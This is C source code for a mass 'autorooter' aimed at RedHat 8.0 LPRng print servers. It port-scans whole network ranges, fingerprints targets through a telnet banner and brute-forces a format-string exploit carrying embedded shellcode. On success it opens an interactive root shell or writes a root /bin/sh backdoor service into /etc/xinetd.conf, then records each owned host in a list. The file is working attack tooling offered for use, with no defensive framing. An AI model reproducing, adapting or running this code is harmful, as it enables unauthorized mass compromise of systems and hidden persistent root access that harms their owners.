/*
**
** RedHat 8x LPRng AUTOROOTER! by dave_
**
**
** Private shit... Dont distro...
**
**
*/#include <arpa/inet.h>
#include <crypt.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define BDPORT 24452
#define ROOTLIST "alpd.master"
#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 90000 /* usecs */
#define OFFSET_LIMIT 60
#define SOCK_TIMEOUT 6
#define FORKLIMIT 100
#define START_EIP 0xbffff3e0
/* pscan stuff */
#define MAX_SOCKETS 600 // This setting greatly influences the speed of
// If you are running from a nice speed
// box, set it to 900 or so.
#define TIMEOUT 6
#define S_NONE 0
#define S_CONNECTING 1
struct conn_t {
int s;
char status;
time_t a;
struct sockaddr_in addr;
};
struct conn_t connlist[MAX_SOCKETS];
void init_sockets(void);
void check_sockets(void);
void fatal(char *);
/* end pscan stuff */
struct our_format {
char *ip;
};
struct our_format pscan_list[6500];
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
struct target
{
char *os_name;
u_long eip_address;
u_long shellcode_address;
unsigned int position;
int written_bytes;
int align;
};
struct target targets[] =
{
{ "RedHat 8.0", 0xbffff3ec, 0L, 300, 70, 2, },
{ "RedHat 8.0", 0xbffff12c, 0L, 300, 70, 2, },
{ NULL, 0L, 0L, 0, 0, 0 }
};
static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
int offset=0, totalowned=0, totalvuln=0;
int type=-1, shell=0, pnum=0, vnum=0, numforks=0, tot=0;
int brute=-1, failure=1;
char *he;
void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int
previous, u_int addr_loc)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0x000000ff),
(unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};
memset (address_buffer, '\0', sizeof(address_buffer));
memset (append_buffer, '\0', sizeof(append_buffer));
for (i = 0; i < 4; i++)
{
while (copied > 0x100)
copied -= 0x100;
if ( (i > 0) && (num[i-1] == num[i]) )
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
else if (copied < num[i])
{
if ((num[i] - copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), "%.*s",
(int)(num[i] - copied), "security.is!");
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n",
addr_loc+i);
}
else {
sprintf (append_buffer+strlen(append_buffer), "%%.%du",
num[i] - copied);
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n",
addr_loc+i); }
}
else {
tmp = ((num[i] + 0x100) - copied);
sprintf(append_buffer+strlen(append_buffer), "%%.%du", tmp);
copied += ((num[i] + 0x100) - copied);
sprintf(append_buffer+strlen(append_buffer), "%%%d$n",
addr_loc+i);
}
sprintf(address_buffer+strlen(address_buffer), "%c%c%c%c",
(unsigned char) ((eip_addr+i) & 0x000000ff),
(unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}
while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
strcat (address_buffer, "X");
#ifdef DEBUG
printf ("\nGeneration complete:\nAddress: ");
for (i = 0; i < strlen(address_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (".");
printf ("%02x", (unsigned char)address_buffer[i]);
}
printf ("\nAppend: %s\n", append_buffer);
#endif
return;
}
char *create_malicious_string(void)
{
static char format_buffer[FORMAT_LENGTH+1];
long addr1,addr2;
int i;
memset (format_buffer, '\0', sizeof(format_buffer));
targets[type].shellcode_address = targets[type].eip_address +
SHELLCODE_COUNT;
addr1 = targets[type].eip_address;
addr2 = targets[type].shellcode_address;
calculate_rets (addr1, addr2,targets[type].written_bytes,
targets[type].position);
(void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
targets[type].align, "BBBB", address_buffer);
strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
for(i = 0 ; i < NOPCOUNT ; i++)
strcat(format_buffer, "\x90");
strcat(format_buffer, shellcode);
return (format_buffer);
}
int chkbd()
{
int sockfd;
FILE *master;
struct sockaddr_in dest_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(BDPORT);
dest_addr.sin_addr.s_addr = inet_addr(he);
alarm(5);
if(connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct
sockaddr)) == -1)
{
return -1;
}
alarm(0);
close(sockfd);
printf("owned (port %d)", BDPORT);
fflush(stdout);
totalowned++;
master=fopen(ROOTLIST, "a");
fprintf(master, "%s\n", inet_ntoa(dest_addr.sin_addr));
fclose(master);
return 1;
}
int connect_victim()
{
int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char buff[1024], bdcmd2[256];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
static char bdcmd1[256] = "echo \"service reg\" >>/etc/xinetd.conf; echo
\"{\" >>/etc/xinetd.conf; echo \"socket_type =
stream\" >>/etc/xinetd.conf;\r\n";
static char bdcmd3[256] = "echo \"user = root\" >>/etc/xinetd.conf; echo
\"server = /bin/sh\" >>/etc/xinetd.conf; echo \"server_args =
-i\" >>/etc/xinetd.conf;\r\n";
static char bdcmd4[256] = "echo
\"}\" >>/etc/xinetd.conf; /etc/rc.d/init.d/xinetd restart;\r\n";
s.sin_family = AF_INET;
s.sin_port = htons(3879);
s.sin_addr.s_addr = inet_addr(he);
memset(&bdcmd2, 0, sizeof(bdcmd2));
sprintf(bdcmd2, "echo \"port = %d\" >>/etc/xinetd.conf; echo \"protocol
= tcp\" >>/etc/xinetd.conf; echo \"wait = no\" >>/etc/xinetd.conf;\r\n",
BDPORT);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
return -1;
}
if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
return -1;
#ifdef VERBOSE
printf("+++ The eip_address is 0x%x\n", targets[type].eip_address);
printf("- [+] Sending backdoor code... (port %d)\n", BDPORT);
#endif
failure = -1;
FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
if (shell == 1)
{
send(sockfd, testcmd, strlen(testcmd), 0);
while(1) {
FD_SET(sockfd,&fd_stat);
FD_SET(0,&fd_stat);
if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sockfd, &fd_stat) ) {
if((n=read(sockfd,buff,sizeof(buff)))<0){
fprintf(stderr, "EOF\n");
return 2;
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_stat) ) {
if((n=read(0,buff,sizeof(buff)))<0)
{
fprintf(stderr,"EOF\n");
return 2;
}
if(send(sockfd,buff,n,0)<0)
break;
}
}
}
else
{
send(sockfd, bdcmd1, strlen(bdcmd1), 0);
send(sockfd, bdcmd2, strlen(bdcmd2), 0);
send(sockfd, bdcmd3, strlen(bdcmd3), 0);
send(sockfd, bdcmd4, strlen(bdcmd4), 0);
sleep(5);
close(sockfd);
if (!fork())
{
chkbd();
exit(0);
}
else
{
wait(NULL);
return -1;
}
}
}
int send_code(char *exploit_buffer)
{
int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char recv[1024];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
s.sin_family = AF_INET;
s.sin_port = htons (515);
s.sin_addr.s_addr = inet_addr(he);
#ifdef VERBOSE
printf("offset: %d eip: 0x%x\n", offset, START_EIP - offset);
#endif
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
return -1;
}
if ((connect(sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
printf("--- [5] Unable to connect to %s\n", he);
printf("Exploit failed, %s is not running LPD!\n", he);
return -1;
}
usleep(DELAY);
if(write(sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
{
printf("Couldn't write to socket %d", sockfd);
printf("Exploit failed\n");
exit(2);
}
close(sockfd);
if(connect_victim() == 0)
return 0;
}
void usage(char *program)
{
printf("[- ALPD -] Linux LPRng AutoRooter\n");
printf("November 2000 by _dave\n\n");
printf("Usage: %s <a or b class>\n", program);
printf("eg: %s 24.1\n", program);
exit(-1);
}
int startbanner(char *target)
{
int cur;
char vbuf[1024];
FILE *f;
printf("++ Now running banner scan on %s ips.\n", target);
for (cur=0; cur < pnum; cur++)
{
if (!fork())
{
bscan(pscan_list[cur].ip);
free(pscan_list[cur].ip);
exit(0);
}
else
{
numforks++;
if (numforks > FORKLIMIT)
for (numforks; numforks > FORKLIMIT; numforks--)
wait(NULL);
}
}
printf("++ Waiting for processes to die...\n");
/* Wait for processes to die before we continue! */
sleep(20);
printf("Can I get a ROOT ROOT?!#\n");
if ((f=fopen("alpd.temp", "r")) == NULL)
{
fprintf(stderr, "No vulnerable boxes for %s.\n", target);
return -1;
}
while (!feof(f))
{
memset(&vbuf, 0, sizeof(vbuf));
fgets((char *) &vbuf, sizeof(vbuf), f);
if (vbuf[strlen(vbuf) - 1] == '\n')
vbuf[strlen(vbuf) - 1] = '\0';
if (strlen(vbuf) > 1)
{
printf("\nTrying to own %s...", vbuf);
fflush(stdout);
totalvuln++;
lpdex(vbuf);
}
}
fclose(f);
unlink("alpd.temp");
printf("\n++ Check %s for results.\n", ROOTLIST);
totalowned=0;
totalvuln=0;
}
int main(int argc, char *argv[])
{
int nump=0, b;
char ip[17], salt[3], *parse, *type, *inpass;
if (argc < 2)
usage(argv[0]);
parse=argv[1];
for (parse; *parse != '\0'; *parse++)
if (*parse == '.')
nump++;
if (nump > 1)
usage(argv[0]);
unlink("alpd.temp");
if (nump == 0) /* a class */
{
for (b=0; b<=254; b++)
{
memset(&ip, 0, sizeof(ip));
sprintf(ip, "%s.%d", argv[1], b);
pnum=0;
pscan(ip);
startbanner(ip);
}
}
if (nump == 1) /* b class */
{
pscan(argv[1]);
startbanner(argv[1]);
}
printf("You are now a certified hax0r. Enjoy.\n");
}
int lpdex(char *iptoroot)
{
char exploit_buffer[1024];
char *format = NULL;
int c, brutecount=0;
type = 0;
brute = 1;
he = iptoroot;
targets[type].shellcode_address = targets[type].eip_address +
SHELLCODE_COUNT;
#ifdef VERBOSE
printf("+++ Brute forcing %s with our format string\n", iptoroot);
#endif
targets[type].eip_address = START_EIP;
while(failure)
{
memset(exploit_buffer, '\0', sizeof(exploit_buffer));
format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
if(send_code(exploit_buffer) == 0)
return 0;
// was 0xbffffff0
targets[type].eip_address = START_EIP - offset;
offset+=4;
if (offset > OFFSET_LIMIT) {
#ifdef VERBOSE
printf("+++ Offset limit hit, ending brute mode.\n");
#endif
offset=0;
return -1;
}
}
}
int pscan(char *class)
{
int done, i, cip, bb, ret, k, ns;
time_t scantime;
char ip[20];
done = 0; cip = 1; bb = 0;
init_sockets();
scantime = time(0);
printf("++ Running portscan on %s\n", class);
while(!done) {
for (i = 0; i < MAX_SOCKETS; i++) {
if (cip == 255) {
if ((bb == 255)) {
ns = 0;
for (k = 0; k < MAX_SOCKETS; k++) {
if (connlist[k].status > S_NONE) {
ns++;
break;
}
}
if (ns == 0)
done = 1;
break;
}
else {
cip = 0;
bb++;
}
}
if (connlist[i].status == S_NONE) {
connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
if (connlist[i].s == -1)
printf("Unable to allocate socket.\n");
else {
ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
if (ret == -1) {
printf("Unable to set O_NONBLOCK\n");
close(connlist[i].s);
}
else {
memset((char *)ip, 0, 20);
sprintf(ip, "%s.%d.%d", class, bb, cip);
connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
if (connlist[i].addr.sin_addr.s_addr == -1)
fatal("Invalid IP.");
connlist[i].addr.sin_family = AF_INET;
connlist[i].addr.sin_port = htons(515);
connlist[i].a = time(0);
connlist[i].status = S_CONNECTING;
cip++;
}
}
}
}
check_sockets();
}
}
void init_sockets(void)
{
int i;
for (i = 0; i < MAX_SOCKETS; i++) {
connlist[i].status = S_NONE;
memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct
sockaddr_in));
}
}
void check_sockets(void)
{
int i, ret;
for (i = 0; i < MAX_SOCKETS; i++) {
if ((connlist[i].a < (time(0) - TIMEOUT)) &&
(connlist[i].status == S_CONNECTING)) {
close(connlist[i].s);
connlist[i].status = S_NONE;
}
else if (connlist[i].status == S_CONNECTING) {
ret = connect(connlist[i].s,
(struct sockaddr *)&connlist[i].addr,
sizeof(struct sockaddr_in));
if (ret == -1) {
if (errno == EISCONN) {
pscan_list[pnum].ip=(char *)malloc(17);
strcpy(pscan_list[pnum].ip,
inet_ntoa(connlist[i].addr.sin_addr));
pnum++;
close(connlist[i].s);
connlist[i].status = S_NONE;
}
if ((errno != EALREADY) && (errno != EINPROGRESS)) {
close(connlist[i].s);
connlist[i].status = S_NONE;
}
}
else {
pscan_list[pnum].ip=(char *)malloc(17);
strcpy(pscan_list[pnum].ip,
inet_ntoa(connlist[i].addr.sin_addr));
pnum++;
close(connlist[i].s);
connlist[i].status = S_NONE;
}
}
}
}
void fatal(char *err)
{
int i;
printf("Error: %s\n", err);
for (i = 0; i < MAX_SOCKETS; i++) {
if (connlist[i].status >= S_CONNECTING)
close(connlist[i].s);
}
}
int bscan(char *host)
{
struct sockaddr_in sin;
int sock, len;
u_char buf[4000];
FILE *ihatetempfiles;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (!sock)
{
fprintf(stderr, "unable to get a socket\n");
return;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(23);
sin.sin_addr.s_addr = inet_addr(host);
alarm(10);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) {
while (1)
{
memset(buf, 0, sizeof(buf));
if ((len = read (sock, buf, 1)) <= 0)
break;
if (*buf == (unsigned int) 255)
{
read(sock, (buf + 1), 2);
if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
else if ((u_char) * (buf + 1) == (unsigned int) 253)
{
*(buf + 1) = 252;
write (sock, buf, 3);
}
}
else
{
if (*buf != 0)
{
bzero (buf, sizeof (buf));
read (sock, buf, sizeof (buf));
usleep(40000);
if (strstr(buf, "Guinness"))
{
#ifdef VERBOSE
printf("Writing %s\n", host);
#endif
ihatetempfiles=fopen("alpd.temp", "a");
fprintf(ihatetempfiles, "%s\n", host);
fclose(ihatetempfiles);
alarm(0);
return 1;
}
}
}
}
}
alarm(0);
close(sock);
return;
}